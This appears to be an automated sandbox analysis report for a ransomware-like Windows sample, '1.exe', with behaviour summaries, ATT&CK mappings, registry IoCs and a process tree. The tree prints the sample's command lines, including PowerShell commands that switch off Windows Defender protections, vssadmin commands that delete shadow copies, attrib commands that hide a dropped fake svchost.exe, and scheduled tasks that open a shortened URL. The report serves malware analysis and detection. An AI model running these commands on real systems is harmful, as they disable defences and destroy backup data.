6abd97d20372a17384c5fd928ef5548da218b615247276acd7bf0a62ad3cf6e7

Windows Service

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	1.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	1.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	1.exe

Modifies security service 2 TTPs 1 IoCs

Modify Registry

Windows Service

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wscsvc\Start = "4"	1.exe

Modifies visibility of file extensions in Explorer 2 TTPs 1 IoCs

Hidden Files and Directories

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-1453213197-474736321-1741884505-1000\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"	svchost.exe

Modifies visiblity of hidden/system files in Explorer 2 TTPs 1 IoCs

Hidden Files and Directories

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-1453213197-474736321-1741884505-1000\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden = "0"	svchost.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Executes dropped EXE 1 IoCs

pid	Process
5308	svchost.exe

Drops desktop.ini file(s) 3 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\LinkM\desktop.ini	svchost.exe
File created	C:\Users\Admin\AppData\Roaming\LinkM\desktop.ini	1.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\LinkM\desktop.ini	1.exe

Enumerates connected drives 3 TTPs 15 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\E:	vssadmin.exe
File opened (read-only)	\??\H:	vssadmin.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\g:	vssadmin.exe
File opened (read-only)	\??\D:	vssadmin.exe
File opened (read-only)	\??\e:	vssadmin.exe
File opened (read-only)	\??\G:	vssadmin.exe
File opened (read-only)	\??\e:	vssadmin.exe
File opened (read-only)	\??\h:	vssadmin.exe
File opened (read-only)	\??\H:	vssadmin.exe
File opened (read-only)	\??\g:	vssadmin.exe
File opened (read-only)	\??\E:	vssadmin.exe
File opened (read-only)	\??\G:	vssadmin.exe
File opened (read-only)	\??\h:	vssadmin.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 5 IoCs

Web Service

T1102

flow	ioc
2	iplogger.org
3	iplogger.org
12	pastebin.com
16	pastebin.com
29	pastebin.com

Hide Artifacts: Hidden Files and Directories 1 TTPs 2 IoCs

defense_evasion

Hidden Files and Directories

pid	Process
1672	cmd.exe
212	cmd.exe

Drops file in Windows directory 2 IoCs

description	ioc	Process
File created	C:\Windows\rescache\_merged\1601268389\715946058.pri	taskmgr.exe
File created	C:\Windows\rescache\_merged\4183903823\2290032291.pri	taskmgr.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	taskmgr.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	taskmgr.exe

Disables Windows logging functionality 2 TTPs
Changes registry settings to disable Windows Event logging.

Disable or Modify Tools
T1562.001

Modify Registry
T1112

Interacts with shadow copies 3 TTPs 12 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
5280	vssadmin.exe
5348	vssadmin.exe
5356	vssadmin.exe
5340	vssadmin.exe
5332	vssadmin.exe
5304	vssadmin.exe
5292	vssadmin.exe
5204	vssadmin.exe
5272	vssadmin.exe
5320	vssadmin.exe
5392	vssadmin.exe
5404	vssadmin.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
5836	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
5664	schtasks.exe
4188	schtasks.exe
2148	schtasks.exe
5140	schtasks.exe
5444	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4500	taskmgr.exe
4500	taskmgr.exe
4500	taskmgr.exe
4500	taskmgr.exe
4500	taskmgr.exe
4500	taskmgr.exe
4500	taskmgr.exe
4500	taskmgr.exe
4500	taskmgr.exe
4268	1.exe
4268	1.exe
4268	1.exe
4500	taskmgr.exe
4500	taskmgr.exe
4500	taskmgr.exe
4500	taskmgr.exe
4500	taskmgr.exe
4500	taskmgr.exe
4500	taskmgr.exe
4500	taskmgr.exe
4500	taskmgr.exe
4500	taskmgr.exe
4500	taskmgr.exe
4500	taskmgr.exe
4500	taskmgr.exe
4500	taskmgr.exe
4500	taskmgr.exe
4500	taskmgr.exe
2468	powershell.exe
2468	powershell.exe
2468	powershell.exe
4500	taskmgr.exe
4500	taskmgr.exe
3736	powershell.exe
3736	powershell.exe
4500	taskmgr.exe
4500	taskmgr.exe
2904	powershell.exe
2904	powershell.exe
3536	powershell.exe
3536	powershell.exe
3540	powershell.exe
3540	powershell.exe
4504	powershell.exe
4504	powershell.exe
3296	powershell.exe
3296	powershell.exe
4148	powershell.exe
4148	powershell.exe
3160	powershell.exe
3160	powershell.exe
3540	powershell.exe
3092	powershell.exe
3092	powershell.exe
1688	powershell.exe
1688	powershell.exe
560	powershell.exe
560	powershell.exe
4148	powershell.exe
3736	powershell.exe
3736	powershell.exe
3540	powershell.exe
640	powershell.exe
640	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4500	taskmgr.exe
Token: SeSystemProfilePrivilege	4500	taskmgr.exe
Token: SeCreateGlobalPrivilege	4500	taskmgr.exe
Token: SeDebugPrivilege	4268	1.exe
Token: SeDebugPrivilege	2468	powershell.exe
Token: SeIncreaseQuotaPrivilege	2468	powershell.exe
Token: SeSecurityPrivilege	2468	powershell.exe
Token: SeTakeOwnershipPrivilege	2468	powershell.exe
Token: SeLoadDriverPrivilege	2468	powershell.exe
Token: SeSystemProfilePrivilege	2468	powershell.exe
Token: SeSystemtimePrivilege	2468	powershell.exe
Token: SeProfSingleProcessPrivilege	2468	powershell.exe
Token: SeIncBasePriorityPrivilege	2468	powershell.exe
Token: SeCreatePagefilePrivilege	2468	powershell.exe
Token: SeBackupPrivilege	2468	powershell.exe
Token: SeRestorePrivilege	2468	powershell.exe
Token: SeShutdownPrivilege	2468	powershell.exe
Token: SeDebugPrivilege	2468	powershell.exe
Token: SeSystemEnvironmentPrivilege	2468	powershell.exe
Token: SeRemoteShutdownPrivilege	2468	powershell.exe
Token: SeUndockPrivilege	2468	powershell.exe
Token: SeManageVolumePrivilege	2468	powershell.exe
Token: 33	2468	powershell.exe
Token: 34	2468	powershell.exe
Token: 35	2468	powershell.exe
Token: 36	2468	powershell.exe
Token: SeDebugPrivilege	3736	powershell.exe
Token: SeDebugPrivilege	3160	powershell.exe
Token: SeDebugPrivilege	2904	powershell.exe
Token: SeDebugPrivilege	3536	powershell.exe
Token: SeDebugPrivilege	3540	powershell.exe
Token: SeDebugPrivilege	4504	powershell.exe
Token: SeDebugPrivilege	3296	powershell.exe
Token: SeDebugPrivilege	4148	powershell.exe
Token: 33	4500	taskmgr.exe
Token: SeIncBasePriorityPrivilege	4500	taskmgr.exe
Token: SeDebugPrivilege	3092	powershell.exe
Token: SeDebugPrivilege	1688	powershell.exe
Token: SeDebugPrivilege	560	powershell.exe
Token: SeDebugPrivilege	640	powershell.exe
Token: SeBackupPrivilege	5608	vssvc.exe
Token: SeRestorePrivilege	5608	vssvc.exe
Token: SeAuditPrivilege	5608	vssvc.exe
Token: SeIncreaseQuotaPrivilege	3540	powershell.exe
Token: SeSecurityPrivilege	3540	powershell.exe
Token: SeTakeOwnershipPrivilege	3540	powershell.exe
Token: SeLoadDriverPrivilege	3540	powershell.exe
Token: SeSystemProfilePrivilege	3540	powershell.exe
Token: SeSystemtimePrivilege	3540	powershell.exe
Token: SeProfSingleProcessPrivilege	3540	powershell.exe
Token: SeIncBasePriorityPrivilege	3540	powershell.exe
Token: SeCreatePagefilePrivilege	3540	powershell.exe
Token: SeBackupPrivilege	3540	powershell.exe
Token: SeRestorePrivilege	3540	powershell.exe
Token: SeShutdownPrivilege	3540	powershell.exe
Token: SeDebugPrivilege	3540	powershell.exe
Token: SeSystemEnvironmentPrivilege	3540	powershell.exe
Token: SeRemoteShutdownPrivilege	3540	powershell.exe
Token: SeUndockPrivilege	3540	powershell.exe
Token: SeManageVolumePrivilege	3540	powershell.exe
Token: 33	3540	powershell.exe
Token: 34	3540	powershell.exe
Token: 35	3540	powershell.exe
Token: 36	3540	powershell.exe

Suspicious use of FindShellTrayWindow 53 IoCs

pid	Process
4500	taskmgr.exe
4500	taskmgr.exe
4500	taskmgr.exe
4500	taskmgr.exe
4500	taskmgr.exe
4500	taskmgr.exe
4500	taskmgr.exe
4500	taskmgr.exe
4500	taskmgr.exe
4500	taskmgr.exe
4500	taskmgr.exe
4500	taskmgr.exe
4500	taskmgr.exe
4500	taskmgr.exe
4500	taskmgr.exe
4500	taskmgr.exe
4500	taskmgr.exe
4500	taskmgr.exe
4500	taskmgr.exe
4500	taskmgr.exe
4500	taskmgr.exe
4500	taskmgr.exe
4500	taskmgr.exe
4500	taskmgr.exe
4500	taskmgr.exe
4500	taskmgr.exe
4500	taskmgr.exe
4500	taskmgr.exe
4500	taskmgr.exe
4500	taskmgr.exe
4500	taskmgr.exe
4500	taskmgr.exe
4500	taskmgr.exe
4500	taskmgr.exe
4500	taskmgr.exe
4500	taskmgr.exe
4500	taskmgr.exe
4500	taskmgr.exe
4500	taskmgr.exe
4500	taskmgr.exe
4500	taskmgr.exe
4500	taskmgr.exe
4500	taskmgr.exe
4500	taskmgr.exe
4500	taskmgr.exe
4500	taskmgr.exe
4500	taskmgr.exe
4500	taskmgr.exe
4500	taskmgr.exe
4500	taskmgr.exe
4500	taskmgr.exe
4500	taskmgr.exe
4500	taskmgr.exe

Suspicious use of SendNotifyMessage 52 IoCs

pid	Process
4500	taskmgr.exe
4500	taskmgr.exe
4500	taskmgr.exe
4500	taskmgr.exe
4500	taskmgr.exe
4500	taskmgr.exe
4500	taskmgr.exe
4500	taskmgr.exe
4500	taskmgr.exe
4500	taskmgr.exe
4500	taskmgr.exe
4500	taskmgr.exe
4500	taskmgr.exe
4500	taskmgr.exe
4500	taskmgr.exe
4500	taskmgr.exe
4500	taskmgr.exe
4500	taskmgr.exe
4500	taskmgr.exe
4500	taskmgr.exe
4500	taskmgr.exe
4500	taskmgr.exe
4500	taskmgr.exe
4500	taskmgr.exe
4500	taskmgr.exe
4500	taskmgr.exe
4500	taskmgr.exe
4500	taskmgr.exe
4500	taskmgr.exe
4500	taskmgr.exe
4500	taskmgr.exe
4500	taskmgr.exe
4500	taskmgr.exe
4500	taskmgr.exe
4500	taskmgr.exe
4500	taskmgr.exe
4500	taskmgr.exe
4500	taskmgr.exe
4500	taskmgr.exe
4500	taskmgr.exe
4500	taskmgr.exe
4500	taskmgr.exe
4500	taskmgr.exe
4500	taskmgr.exe
4500	taskmgr.exe
4500	taskmgr.exe
4500	taskmgr.exe
4500	taskmgr.exe
4500	taskmgr.exe
4500	taskmgr.exe
4500	taskmgr.exe
4500	taskmgr.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4268 wrote to memory of 1672	4268	1.exe	73
PID 4268 wrote to memory of 1672	4268	1.exe	73
PID 1672 wrote to memory of 4732	1672	cmd.exe	75
PID 1672 wrote to memory of 4732	1672	cmd.exe	75
PID 1672 wrote to memory of 4180	1672	cmd.exe	76
PID 1672 wrote to memory of 4180	1672	cmd.exe	76
PID 4268 wrote to memory of 2468	4268	1.exe	77
PID 4268 wrote to memory of 2468	4268	1.exe	77
PID 4268 wrote to memory of 3736	4268	1.exe	80
PID 4268 wrote to memory of 3736	4268	1.exe	80
PID 4268 wrote to memory of 3540	4268	1.exe	82
PID 4268 wrote to memory of 3540	4268	1.exe	82
PID 4268 wrote to memory of 2904	4268	1.exe	83
PID 4268 wrote to memory of 2904	4268	1.exe	83
PID 4268 wrote to memory of 3160	4268	1.exe	86
PID 4268 wrote to memory of 3160	4268	1.exe	86
PID 4268 wrote to memory of 3536	4268	1.exe	88
PID 4268 wrote to memory of 3536	4268	1.exe	88
PID 4268 wrote to memory of 4504	4268	1.exe	90
PID 4268 wrote to memory of 4504	4268	1.exe	90
PID 4268 wrote to memory of 3296	4268	1.exe	92
PID 4268 wrote to memory of 3296	4268	1.exe	92
PID 4268 wrote to memory of 4148	4268	1.exe	94
PID 4268 wrote to memory of 4148	4268	1.exe	94
PID 4268 wrote to memory of 560	4268	1.exe	96
PID 4268 wrote to memory of 560	4268	1.exe	96
PID 4268 wrote to memory of 1688	4268	1.exe	97
PID 4268 wrote to memory of 1688	4268	1.exe	97
PID 4268 wrote to memory of 640	4268	1.exe	99
PID 4268 wrote to memory of 640	4268	1.exe	99
PID 4268 wrote to memory of 3092	4268	1.exe	100
PID 4268 wrote to memory of 3092	4268	1.exe	100
PID 4268 wrote to memory of 3604	4268	1.exe	101
PID 4268 wrote to memory of 3604	4268	1.exe	101
PID 4268 wrote to memory of 3004	4268	1.exe	102
PID 4268 wrote to memory of 3004	4268	1.exe	102
PID 4268 wrote to memory of 1964	4268	1.exe	103
PID 4268 wrote to memory of 1964	4268	1.exe	103
PID 4268 wrote to memory of 4036	4268	1.exe	104
PID 4268 wrote to memory of 4036	4268	1.exe	104
PID 4268 wrote to memory of 3088	4268	1.exe	105
PID 4268 wrote to memory of 3088	4268	1.exe	105
PID 4268 wrote to memory of 1104	4268	1.exe	106
PID 4268 wrote to memory of 1104	4268	1.exe	106
PID 4268 wrote to memory of 4776	4268	1.exe	107
PID 4268 wrote to memory of 4776	4268	1.exe	107
PID 4268 wrote to memory of 3764	4268	1.exe	108
PID 4268 wrote to memory of 3764	4268	1.exe	108
PID 4268 wrote to memory of 2460	4268	1.exe	109
PID 4268 wrote to memory of 2460	4268	1.exe	109
PID 4268 wrote to memory of 4264	4268	1.exe	110
PID 4268 wrote to memory of 4264	4268	1.exe	110
PID 4268 wrote to memory of 4656	4268	1.exe	111
PID 4268 wrote to memory of 4656	4268	1.exe	111
PID 4268 wrote to memory of 3564	4268	1.exe	112
PID 4268 wrote to memory of 3564	4268	1.exe	112
PID 4268 wrote to memory of 5096	4268	1.exe	113
PID 4268 wrote to memory of 5096	4268	1.exe	113
PID 3004 wrote to memory of 4480	3004	cmd.exe	130
PID 3004 wrote to memory of 4480	3004	cmd.exe	130
PID 2460 wrote to memory of 5204	2460	cmd.exe	131
PID 2460 wrote to memory of 5204	2460	cmd.exe	131
PID 3604 wrote to memory of 5272	3604	cmd.exe	132
PID 3604 wrote to memory of 5272	3604	cmd.exe	132

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

Views/modifies file attributes 1 TTPs 4 IoCs

Hidden Files and Directories

pid	Process
4732	attrib.exe
4180	attrib.exe
5300	attrib.exe
3772	attrib.exe

C:\Users\Admin\AppData\Local\Temp\1.exe
"C:\Users\Admin\AppData\Local\Temp\1.exe"
1⤵
- Modifies Windows Defender Real-time Protection settings
- Modifies security service
- Drops desktop.ini file(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4268
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c attrib +H +S "C:\Users\Admin\AppData\Roaming\\Branding" & attrib +H +S "C:\Users\Admin\AppData\Roaming\\Branding\*" /S /D
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:1672
- - C:\Windows\system32\attrib.exe
    attrib +H +S "C:\Users\Admin\AppData\Roaming\\Branding"
    3⤵
    - Views/modifies file attributes
    PID:4732
- - C:\Windows\system32\attrib.exe
    attrib +H +S "C:\Users\Admin\AppData\Roaming\\Branding\*" /S /D
    3⤵
    - Views/modifies file attributes
    PID:4180
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" Get-MpPreference -verbose
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2468
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableArchiveScanning $true
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3736
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableBlockAtFirstSeen $true
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3540
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableIOAVProtection $true
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2904
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisablePrivacyMode $true
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3160
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableScriptScanning $true
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3536
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -HighThreatDefaultAction 6 -Force
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4504
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -LowThreatDefaultAction 6
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3296
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -MAPSReporting 0
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4148
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -ModerateThreatDefaultAction 6
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:560
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SevereThreatDefaultAction 6
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1688
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:640
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3092
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c vssadmin Delete Shadows /all /quiet
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3604
- - C:\Windows\system32\vssadmin.exe
    vssadmin Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:5272
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c vssadmin resize shadow /for=c: /on=c: /maxsize=401MB
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3004
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadow /for=c: /on=c: /maxsize=401MB
    3⤵
    PID:4480
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c vssadmin resize shadowstorage /for=c: /on=c: /maxsize=unbounded
  2⤵
  PID:1964
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=c: /on=c: /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:5392
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c vssadmin resize shadowstorage /for=d: /on=d: /maxsize=unbounded
  2⤵
  PID:4036
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=d: /on=d: /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:5292
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c vssadmin resize shadowstorage /for=e: /on=e: /maxsize=401MB
  2⤵
  PID:3088
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=e: /on=e: /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:5304
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c vssadmin resize shadowstorage /for=e: /on=e: /maxsize=unbounded
  2⤵
  PID:1104
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=e: /on=e: /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:5356
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c vssadmin resize shadowstorage /for=f: /on=f: /maxsize=401MB
  2⤵
  PID:4776
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=f: /on=f: /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:5332
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c vssadmin resize shadowstorage /for=f: /on=f: /maxsize=unbounded
  2⤵
  PID:3764
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=f: /on=f: /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:5404
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c vssadmin resize shadowstorage /for=g: /on=g: /maxsize=401MB
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2460
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=g: /on=g: /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:5204
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c vssadmin resize shadowstorage /for=g: /on=g: /maxsize=unbounded
  2⤵
  PID:4264
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=g: /on=g: /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:5280
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c vssadmin resize shadowstorage /for=h: /on=h: /maxsize=401MB
  2⤵
  PID:4656
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=h: /on=h: /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:5348
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c vssadmin resize shadowstorage /for=h: /on=h: /maxsize=unbounded
  2⤵
  PID:3564
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=h: /on=h: /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:5340
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c Vssadmin delete shadowstorage /all /quiet
  2⤵
  PID:5096
- - C:\Windows\system32\vssadmin.exe
    Vssadmin delete shadowstorage /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:5320
- C:\Windows\SYSTEM32\schtasks.exe
  schtasks /create /f /st "02:39" /sc daily /mo "2" /tn "Intel TXE" /tr "'explorer'http://bit.ly/2Q7XObq"
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5444
- C:\Windows\SYSTEM32\schtasks.exe
  schtasks /create /f /st "00:05" /sc daily /mo "3" /tn "Intel TXE" /tr "'explorer'http://bit.ly/2Q7XObq"
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5140
- C:\Windows\SYSTEM32\schtasks.exe
  schtasks /create /f /st "20:19" /sc daily /mo "2" /tn "Intel TXE" /tr "'explorer'http://bit.ly/2Q7XObq"
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5664
- C:\Windows\SYSTEM32\schtasks.exe
  schtasks /create /f /st "16:35" /sc weekly /mo "3" /d "Sat" /tn "Intel TXE" /tr "'explorer'http://bit.ly/2Q7XObq"
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2148
- C:\Windows\SYSTEM32\schtasks.exe
  schtasks /create /f /st "08:34" /sc monthly /m "aug" /tn "Intel TXE" /tr "'explorer'http://bit.ly/2Q7XObq"
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4188
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c ping 0 -n 2 & del "C:\Users\Admin\AppData\Local\Temp\1.exe"
  2⤵
  PID:556
- - C:\Windows\system32\PING.EXE
    ping 0 -n 2
    3⤵
    - Runs ping.exe
    PID:5836
- C:\Users\Admin\AppData\Roaming\Branding\svchost.exe
  "C:\Users\Admin\AppData\Roaming\Branding\svchost.exe"
  2⤵
  - Modifies visibility of file extensions in Explorer
  - Modifies visiblity of hidden/system files in Explorer
  - Executes dropped EXE
  - Drops desktop.ini file(s)
  PID:5308
- - C:\Windows\SYSTEM32\cmd.exe
    cmd /c attrib +H +S "C:\Users\Admin\AppData\Roaming\\Branding" & attrib +H +S "C:\Users\Admin\AppData\Roaming\\Branding\*" /S /D
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:212
  - - C:\Windows\system32\attrib.exe
      attrib +H +S "C:\Users\Admin\AppData\Roaming\\Branding"
      4⤵
      Views/modifies file attributes
      PID:5300
  - - C:\Windows\system32\attrib.exe
      attrib +H +S "C:\Users\Admin\AppData\Roaming\\Branding\*" /S /D
      4⤵
      Views/modifies file attributes
      PID:3772

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /4
1⤵
- Drops file in Windows directory
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:4500

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:5608

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Scheduled Task

Windows Management Instrumentation

T1047

Persistence

Create or Modify System Process

T1543

Windows Service

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Direct Volume Access

T1006

Hide Artifacts

T1564

Hidden Files and Directories

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry